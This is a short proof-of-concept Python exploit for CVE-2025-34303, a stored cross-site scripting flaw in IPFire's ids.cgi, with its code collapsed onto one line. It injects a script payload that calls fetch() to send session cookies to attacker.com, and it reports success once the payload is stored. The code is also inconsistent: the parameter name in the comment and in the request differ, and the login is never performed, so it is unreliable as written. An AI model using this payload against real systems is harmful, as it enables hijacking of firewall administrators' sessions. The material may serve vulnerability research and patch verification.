CVE-2025-34303

import requests import sys # CVE-2025-34303 Stored XSS PoC # Target: IPFire < 2.29 Core Update 198 # Attack Vector: IGNORED_ENTRY_REMARK parameter in ids.cgi TARGET_URL = "http://target-ipfire:444/cgi-bin/ids.cgi" USERNAME = "admin" PASSWORD = "password" # XSS payload - steals session cookies XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def exploit(): """ This PoC demonstrates the stored XSS vulnerability in IPFire's ids.cgi The attacker injects malicious JavaScript through the IGNORED_ENTRY_REMARK parameter when adding a whitelisted host. Steps: 1. Authenticate to IPFire web interface 2. Send POST request to /cgi-bin/ids.cgi with crafted IGNORED_ENTRY_REMARK 3. When any user views the whitelist, the XSS payload executes """ session = requests.Session() # Step 1: Authentication login_data = { 'username': USERNAME, 'password': PASSWORD } # Note: Actual login endpoint may vary based on IPFire version # Step 2: Inject XSS via IGNORED_ENTRY_REMARK parameter exploit_data = { 'ACTION': 'add_whitelist', # or appropriate action identifier 'HOST_IP': '192.168.1.100', 'IGNORE_ENTRY_REMARK': XSS_PAYLOAD } response = session.post(TARGET_URL, data=exploit_data, verify=False) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[*] Payload will execute when whitelist is viewed") else: print("[-] Exploitation failed") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit()

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